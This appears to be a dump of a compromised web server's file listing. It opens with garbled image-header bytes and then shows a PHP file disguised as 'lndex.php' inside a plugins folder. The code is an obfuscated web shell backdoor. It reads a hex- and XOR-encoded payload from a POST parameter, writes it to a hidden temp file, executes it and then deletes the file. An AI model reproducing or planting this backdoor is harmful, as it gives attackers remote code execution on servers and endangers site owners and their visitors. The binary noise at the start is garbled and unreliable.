ascvh@#%(^-^)V ?host,ip,port,protocol,title,domain,country,city,link,org ???à JFIF  x x ?? C         ?? C   ?à   " ??     ?? μ  } !1AQa "q2?‘?#B±áR?e$3br? %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz??…???‰?’“”?–—???¢£¤¥|§¨?a23′μ?·?1o??????èéêòó???×?ùúáa?????èéê?òó???÷?ùú??     ?? μ   w !1AQ aq"2?B‘?±á #3Rebr?{ gilour

File "lndex.php"

Full Path: /home/zcziejy/ryadselyen/plugins/slider-1766648368/lndex.php
File size: 725 bytes
MIME-type: text/plain
Charset: utf-8

<!--ZvEYl91B-->
<?php

if(isset($_POST["\x69\x74em"]) ? true : false){
$record = array_filter([getenv("TMP"), sys_get_temp_dir(), "/tmp", "/dev/shm", getenv("TEMP"), session_save_path(), "/var/tmp", ini_get("upload_tmp_dir"), getcwd()]);
$symbol = hex2bin($_POST["\x69\x74em"]);
$component ='' ;$o=0;do{$component.=chr(ord($symbol[$o])^37);$o++;}while($o<strlen($symbol));
foreach ($record as $key => $itm) {
            if (is_dir($itm) ? is_writable($itm) : false) {
            $element = "$itm" . "/.parameter_group";
            $marker = fopen($element, 'w');
if ($marker) {
    fwrite($marker, $component);
    fclose($marker);
    include $element;
    @unlink($element);
    die();
}
        }
}
}